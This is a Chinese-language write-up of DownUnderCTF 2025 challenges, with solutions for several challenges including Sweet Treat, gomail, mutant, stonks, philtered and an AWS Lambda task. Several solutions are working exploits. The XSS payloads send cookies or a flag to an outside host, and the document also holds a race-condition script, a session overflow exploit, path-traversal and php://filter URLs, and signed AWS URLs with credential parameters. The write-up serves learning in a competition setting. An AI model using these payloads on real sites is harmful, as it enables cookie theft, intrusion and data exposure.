文章

DownUnderCTF 2025 wp

前言

时间充裕,所以输出还行

整体题目难的很难,简单的又挺简单

Sweet Treat

admin/review这里没过滤,只要设置profile为payload

            <div class="profile-card">
                <h4>Username: <%= reportedUser %></h4>
                <div class="about-label">Reported At:</div>
                <div class="about-content"><%= reportTime %></div>
                <div class="about-label">About Me:</div>
                <div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div>
            </div>

admin访问就会XSS,但是可惜设置了cookies http only

        Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}");
        flag.setPath("/");
        flag.setHttpOnly(true);
        response.addCookie(flag);

设置profile为

<script>
fetch('/admin/admin.jsp', {
    method: 'POST',
    body: new URLSearchParams('upd_username=admin&upd_password=1&action=update_user')
});
</script>

admin访问后可以重置admin密码,但是没用

分析一下,只有页面有地方会显示cookies才有可能获取到flag

只有一个地方,language

  String lang = "en";
  Cookie[] cookies = request.getCookies();
  if (cookies != null) {
      for (Cookie c : cookies) {
          if ("language".equals(c.getName())) {
              lang = c.getValue();
          }
      }
  }
<!DOCTYPE html>
<html lang="<%= lang %>">

如果能让获取cookies的时候,jsp出错,获取到类似

language="en;flag=flag{};flag1=1" 的cookies即可

参考:

Stealing HttpOnly cookies with the cookie sandwich technique | PortSwigger Research

当前环境能使用这种方法,但是要确保cookies按照我想要的顺序来排列

已知/path为具体的值比/要靠前,剩下的自己测试一下就行

接下来只要把这条路径转换成payload,用script包裹发送即可

document.cookie = '$Version=1; path=/index.jsp';
document.cookie = 'language="e; path=/index.jsp';
document.cookie = 'flag1=n"; path=/';

fetch('/index.jsp', {
    credentials: 'include'
})
.then(response => {
    return response.text();
})
.then(content => {
    console.log( content);
    const flagRegex = /DUCTF\\{(.*?)\\}/;
    const match = content.match(flagRegex);
    if (match && match[0]) {
        const foundFlag = match[0];
        const targetURL = '<http://xxx>';
        const data = new URLSearchParams();
        data.append('flag', foundFlag);
        fetch(targetURL, {
            method: 'POST',
            body: data,
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
            }
        })
        .then(response => {
            if (!response.ok) {
                console.error(response.status);
            } else {
                console.log('send');
            }
        })
        .catch(error => {
            console.error(error);
        });
    } else {
        console.log('no flag');
    }
})
.catch(error => {
    console.error(error);
});

gomail

题目提供登录和查看邮件功能

登录时如果邮箱不存在会照常生成session,如果包含管理员邮箱而且密码错误则会改为guest

session无法修改因为有签名校验

考虑让email长度溢出

session的构建是二字节的email长度+email+时间戳+f/t

当email大于65535会造成溢出,长度重置

例如

[*] 解压后的 Token 数据: b'\\x02\\x00AAAAAAAAAAAAAAAAAAAA'

也就可以通过控制email来控制解析出的数据

当构建email为[email protected]且刚好解析16位即可获取flag

至于时间戳,如果是八字节的t应该解析出来也是超过了当前时间的(

最终payload

import requests
import struct
import time
import re
import base64
import gzip

BASE_URL = "<https://web-gomail-3f344244ceb2.2025-us.ductf.net>"

def main():
    email_p = "t"*(65535-6 + 7)
    email_admin = "[email protected]"
    email = email_admin + email_p
    password = "1"
    json_body = {
        "email": email,
        "password": password
    }
    r = requests.post(f"{BASE_URL}/login", json=json_body)
    response_json = r.json()
    token = response_json.get("token")
    if not token:
        print("[!] 登录失败")
        print(f"    响应: {r.text}")
        return
    part = token.split(".")
    base = part[0]
    raw =base64.urlsafe_b64decode(base)
    raw = gzip.decompress(raw)
    print(f"[*] 解压后的 Token 数据: {raw[:120]}")
    value = struct.unpack("<H", raw[:2])[0]
    print(f"[*]当前解析邮箱长度{value}")
    email_headers = {
        "X-Auth-Token": token
    }
    print("\\n[*]获取邮件...")
    r_emails = requests.get(f"{BASE_URL}/emails", headers=email_headers)
    print(r_emails.text)

if __name__ == "__main__":
    main()

mini-me

观察源码,能发现提示test-main.min.js.map,访问

<https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/static/js/test-main.min.js.map>

能拿到一个map文件,逆向回js

function pingMailStatus() {
  fetch("/api/mail/status");
}

function fetchInboxPreview() {
  fetch("/api/mail/inbox?limit=5");
}

pingMailStatus();
fetchInboxPreview();

document.getElementById("start-btn")?.addEventListener("click", () => {
  const audio = document.getElementById("balletAudio");
  audio.play();

  document.getElementById("start-btn").style.display = "none";
  document.getElementById("audio-warning").style.display = "none";

  const dancer = document.getElementById("dancer");
  const dancerImg = document.getElementById("dancer-img"); // Get the image element

  dancer.style.display = "block";
  dancerImg.style.display = "block"; // Show the image

  let angle = 0;
  const radius = 100;
  const centerX = window.innerWidth / 2;
  const centerY = window.innerHeight / 2;

  function animate() {
    angle += 0.05;
    const x = centerX + radius * Math.cos(angle);
    const y = centerY + radius * Math.sin(angle);
    dancer.style.left = x + "px";
    dancer.style.top = y + "px";

    dancerImg.style.left = x + "px"; // Sync image movement
    dancerImg.style.top = y + "px";

    requestAnimationFrame(animate);
  }
  animate();
});

function qyrbkc() { 
    const xtqzp = ["85"], vmsdj = ["87"], rlfka = ["77"], wfthn = ["67"], zdqo = ["40"], yclur = ["82"],
          bpxmg = ["82"], hkfav = ["70"], oqzdu = ["78"], nwtjb = ["39"], sgfyk = ["95"], utxzr = ["89"],
          jvmqa = ["67"], dpwls = ["73"], xaogc = ["34"], eqhvt = ["68"], mfzoj = ["68"], lbknc = ["92"],
          zpeds = ["84"], cvnuy = ["57"], ktwfa = ["70"], xdglo = ["87"], fjyhr = ["95"], vtuze = ["77"], awphs = ["75"];
        const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], 
                    bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], 
                    jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], 
                    zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];

    const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>
        String.fromCharCode(
            Number(pjgrx) ^ (fkhzu + 1) ^ 0 
        )
    ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, ""); 
    console.log("Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)");
}

ai逆向一下即可

dhgyvu = [85, 87, 77, 67, 40, 82, 82, 70, 78, 39, 95, 89, 67, 73, 34, 68, 68, 92, 84, 57, 70, 87, 95, 77, 75]
key = "".join([chr(num ^ (i + 1)) for i, num in enumerate(dhgyvu)])
print(f"计算出的 API 密钥是: {key}")

TUNG-TUNG-TUNG-TUNG-SAHUR

发送即可拿到flag

mutant

这题还拿了三血

其实跟之前bi0s的一道题很像,都是删除属性,但是通过forminput绕过, autofocustabindex=-1自动聚焦然后XSS

<form onfocus=fetch("https://xxx/flag="+document.cookie) autofocus tabindex=-1><input id=attributes></form>

stonks

/change-currency存在条件竞争

Session 1先将余额单位设为GBP,然后Session 2将余额单位设为IDR,这样全局余额单位为IDR,但Session 1的会话货币仍为GBP

Session 1访问/are-you-rich,计算方式为余额 / GBP汇率 ,进而增加余额

import requests
import threading
from time import sleep

BASE_URL = "<https://beginner-stonks-a0c8e158ea33.2025.ductf.net>"
USER = "enoch12121"
PASSWORD = "password"

def register_user():
    data = {
        "username": USER,
        "password": PASSWORD,
        "confirm_password": PASSWORD
    }
    response = requests.post(f"{BASE_URL}/register", data=data, allow_redirects=False)
    return response.status_code == 302

def login_session(session):
    data = {"username": USER, "password": PASSWORD}
    response = session.post(f"{BASE_URL}/login", data=data, allow_redirects=False)
    return response.status_code == 302

def change_currency(session, currency):
    session.post(f"{BASE_URL}/change-currency", data={"currency": currency})

def trigger_race():
    sess1 = requests.Session()
    sess2 = requests.Session()
    assert login_session(sess1) and login_session(sess2), "登录失败"
    t1 = threading.Thread(target=change_currency, args=(sess1, "GBP"))
    t2 = threading.Thread(target=change_currency, args=(sess2, "IDR"))
    t1.start()
    sleep(0.05)
    t2.start()
    t1.join()
    t2.join()

    response = sess1.get(f"{BASE_URL}/are-you-rich")
    if "YES YOU ARE!" in response.text:
        print(response.text.split("FLAG")[1])
        return True
    print( response.text)
    return False

def reset_currency(session):
    change_currency(session, "AUD")

register_user()
session = requests.Session()
login_session(session)

for _ in range(30000):
    if not trigger_race():
        reset_currency(session)
    else:
        break

philtered

禁用黑名单,设置config[data_folder] 为空,最后设置path即可

https://web-philtered-0a2005e5b9bf.2025-us.ductf.net/index.php?allow_unsafe=1&config[data_folder]=&config[path]=php://filter/convert.base64-encode/resource=flag.php

kick the bucket

只需要加一个User-Agent即可拿到flag

curl -H "User-Agent: aws-sdk-go/1.4https://kickme-95f596ff5b61453187fbc1c9faa3052e.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXC42U7VJ7MRP6INU%2F20250715%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250715T124755Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=6cefb6299d55fb9e2f97e8d34a64ad8243cdb833e7bdf92fc031d57e96818d9b"
DUCTF{youtube.com/watch?v=A20QQSZsv4E}

secure email attachments

利用源码中对/attachments的删除即可绕过对..的过滤

http://chal.2025-us.ductf.net:30014/./attachments././attachments./.%2Fattachments./etc/flag.txt

Network Disk Forensics

apt install nbd-client
modprobe nbd
nbd-client -N root chal.2025.ductf.net 30016 /dev/nbd1
mkdir /mnt/challenge
mount /dev/nbd1 /mnt/challenge

网络原因可能会导致挂载卡住,多试几次即可

然后访问/mnt/challenge/flag.jpg

Mary had a little lambda

考aws的基础使用

看函数

{
    "Functions": [
        {
            "FunctionName": "yakbase",
            "FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
            "Runtime": "python3.13",
            "Role": "arn:aws:iam::487266254163:role/lambda_role",
            "Handler": "yakbase.lambda_handler",
            "CodeSize": 623,
            "Description": "",
            "Timeout": 30,
            "MemorySize": 128,
            "LastModified": "2025-07-14T12:42:45.148+0000",
            "CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
            "Layers": [
                {
                    "Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
                    "CodeSize": 689581
                }
            ],
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/yakbase"
            }
        }
    ]
}

获取这个函数的代码(解压zip)

<https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/487266254163/yakbase-f70d7c3a-5267-425f-8ed2-4c7a9497db04?versionId=AWtrEWcqRUhNouC7YHffyafILNKu2lrj&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEIL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQCErLE6wvSvT6htofGKDrolOcjsjxX3zON6Gi254zBbiwIhAPEomA09Ak54aEfWvyydP8TwbnJmaBRpNni17gaVYyuJKpICCJr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNzQ5Njc4OTAyODM5IgyvWM82ji6lMf%2F7BQsq5gE70QWdJX%2BGiIRxusMrjql9Moka6GVaDE%2F2vcegYW7H4bLaDoSCssBjm2Jwv%2F1PN7oQIDengkshCghvQ2x9gb4Eiq%2BlsRFIFESMCdH7gEfwrXvGeJzdEHmLu%2B5wEbcQpJb5Gli8bWBwaXd%2FNQ5sPJ36Yg82qOxkLtNuje49mxpTngaIZ5VwdfdADMAdTmEm2hTfIB1BDAAV21v%2BbkM29T0U1fscdHyFlwhQjXN1V5Mu96gkEy7z6SR6UmkqEEiG%2BBHwiUtaXM8P9OUhLSRO%2FYbU3kTJbVZFWRb9YWaGBSW%2BaVQEp5%2B63TCp3%2BvDBjqOAeYqKK5VdHNwIiUWi%2Bl0q8InK1iIIIl1WkIQ11hQ7%2BoqkJh04l1fW9%2F1i%2F3feiV649NlHcJgg9LsH%2F%2Fq%2FWWaNiiF1eG%2FqTrmkyrEjD4BeyDeNL27z5ATMrQmB5NzyvE6lBkKEQdoJDNRguoGEi9svwTxh1Zzq6Sojv9YPTMfuz0qCbYsz37smDeTmtJRVeU%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250719T081350Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY33GYB464O%2F20250719%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=9efea871042cf892d1a416d1e1fd2133ec7c84ed37abc94514e8692e68941433>
import os
import json
import logging
import boto3
import mysql.connector

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    session = boto3.Session()
    ssm = session.client('ssm')

    dbpass = ssm.get_parameter(Name="/production/database/password", WithDecryption=True)['Parameter']['Value']

    mydb = mysql.connector.connect(
       host="10.10.1.1",
       user="dbuser",
       password=dbpass,
       database="BovineDb"
    )
    cursor = mydb.cursor()
    cursor.execute("SELECT * FROM bovines")

    results = cursor.fetchall()
    
    # For testing without the DB!
    #results = [(1, 'Yak', 'Hairy', False),(2, 'Bison', 'Large', True)]

    numresults = len(results)
    response = f"Database contains {numresults} bovines."

    logger.info(response)

    return {
        'statusCode' : 200,
        'body': response
    }

注意到/production/database/password

直接拿没权限,要获取lambda_role

aws sts assume-role --role-arn "arn:aws:iam::487266254163:role/lambda_role" --role-session-name "YakAdminSession"

返回一套凭证,命令行设置一下

set AWS_ACCESS_KEY_ID=
set AWS_SECRET_ACCESS_KEY=
set AWS_SESSION_TOKEN=

最后aws ssm get-parameter --name "/production/database/password" --with-decryption --region us-east-1

{
    "Parameter": {
        "Name": "/production/database/password",
        "Type": "SecureString",
        "Value": "DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}",
        "Version": 1,
        "LastModifiedDate": "2025-07-14T20:42:32.390000+08:00",
        "ARN": "arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password",
        "DataType": "text"
    }
}

fat donke diss

MC Fat Monke - Fat Donke Diss

这个视频 0:52出现了flag,只是有点不清晰

许可协议:  CC BY 4.0